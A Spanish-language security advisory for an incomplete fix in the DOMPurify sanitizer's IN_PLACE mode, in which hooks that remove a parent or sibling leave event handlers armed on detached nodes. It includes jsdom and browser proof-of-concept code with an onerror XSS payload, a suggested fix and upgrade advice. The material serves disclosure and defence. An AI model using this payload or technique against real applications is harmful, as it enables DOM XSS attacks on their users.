Alta

DOMPurify IN_PLACE: un hook que elimina un elemento padre o hermano deja armados los controladores de eventos del subárbol separado (corrección incompleta para GHSA-p98j-92pf-mc4p)

  • Publicada: 22.10.2026
  • Actualizado: 24.10.2026 00:07

Resumen

La corrección 3.4.16 para GHSA-p98j-92pf-mc4p solo cubre un hook que elimina el nodo para el que fue invocado. Si un hook en IN_PLACE elimina un nodo diferente, como el padre del nodo actual o un hermano que aún no ha sido visitado, ese subárbol nunca se recorre ni se neutraliza. Los controladores de eventos en él permanecen en los elementos, y un <img onerror> que ya se estaba cargando se activa después de que sanitize() retorne.

El archivo README indica: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." Esto no se cumple cuando el nodo separado no es el nodo propio del hook.

Versiones probadas

  • 3.4.16 (más reciente) y main en 18f8f0e
  • también 3.4.15, 3.4.12 y 2.5.8

jsdom para la matriz a continuación, y Chromium (Playwright) para el disparo real del evento.

Detalles

src/purify.ts línea 2134 (dist/purify.cjs.js línea 2009 en 3.4.16), _handleHookDetachedNode():

js
if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

Solo comprueba si currentNode perdió a su padre. Cuando un hook elimina currentNode.parentNode (o cualquier ancestro), currentNode todavía tiene un padre, por lo que no ocurre nada. El resto del subárbol eliminado ya no es accesible para el walker y no está en DOMPurify.removed, por lo que el pase posterior al recorrido tampoco lo detecta. Lo mismo sucede cuando un hook elimina un hermano posterior. Esto aplica a los cinco hooks de elementos y atributos.

PoC (jsdom)

js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Salida en 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

En el modo self, el walker aún alcanza la segunda imagen y elimina onerror. En los otros dos modos, la segunda imagen se desacopla conservando su controlador asignado. El mismo resultado se obtiene con cada uno de beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes y afterSanitizeAttributes.

PoC (navegador)

Lo mismo en una página real, servida desde 127.0.0.1 y abierta en Chromium:

html
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>

Resultado en 3.4.16:

version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]

El árbol devuelto está limpio en ambos casos, pero el controlador en la imagen separada se ejecuta en la página para parent.

Impacto

Una aplicación que utiliza IN_PLACE con un hook que elimina un contenedor o un elemento cercano (por ejemplo, "eliminar todo el <figure> si su imagen no está permitida") queda expuesta a DOM XSS a partir del marcado de un atacante después de que sanitize() retorne. Requiere ese tipo de hook, por lo que entra en "input plus an application choice" en SECURITY.md, pero rompe la garantía que el README ofrece para los nodos separados por hooks y sigue el mismo patrón que GHSA-55q2-fjhq-7xh7 y GHSA-p98j-92pf-mc4p.

Corrección sugerida

En lugar de verificar únicamente currentNode, comprobar después de cada llamada al hook si se separó algo fuera del nodo actual. Dos opciones simples:

  • antes de llamar a un hook en el modo IN_PLACE, recordar el siguiente nodo que visitará el walker y los ancestros del nodo actual; después del hook, neutralizar cualquiera de ellos que ya no esté adjunto bajo root
  • o, después del recorrido, neutralizar cada elemento que estaba en el árbol original pero que ya no está conectado a root (por ejemplo, recopilando los elementos antes del recorrido)

Qué hacer

Actualice dompurify a la versión 3.4.17 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm dompurify < 3.4.17 3.4.17

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-693, CWE-79
Plataforma
npm
Paquete
dompurify
Publicada
22.10.2026
Actualizado
24.10.2026 00:07

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-mrv2-3pqr-j5jr - CC BY 4.0

Historial de vulnerabilidades: dompurify

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (33) en el archivo
Entradas en total
33
Primera → última
08.2020 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 3
  • Alta 4
  • Media 19
  • Baja 7

Divulgaciones por año

  1. 2020: 3
  2. 2021: 0
  3. 2022: 0
  4. 2023: 1
  5. 2024: 3
  6. 2025: 1
  7. 2026: 25
Gravedad:
  1. DOMPurify IN_PLACE: un hook que elimina un elemento padre o hermano deja armados los controladores de eventos del subárbol separado (corrección incompleta para GHSA-p98j-92pf-mc4p) esta entrada
    Alta ghsa-mrv2-3pqr-j5jr < 3.4.17 3.4.17
  2. Alta · 8.2 CVE-2026-47423 >= 3.4.4, < 3.4.5 3.4.5
  3. Crítica · 9.1 CVE-2024-48910 < 2.4.2 2.4.2
  4. Alta · 10.0 CVE-2024-47875 < 2.5.0, >= 3.0.0, < 3.1.3 2.5.0, 3.1.3
  5. Alta · 7.0 CVE-2024-45801 < 2.5.4, >= 3.0.0, < 3.1.3 2.5.4, 3.1.3
  6. Crítica ghsa-mjjq-c88q-qhr6 < 2.0.7 2.0.7

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.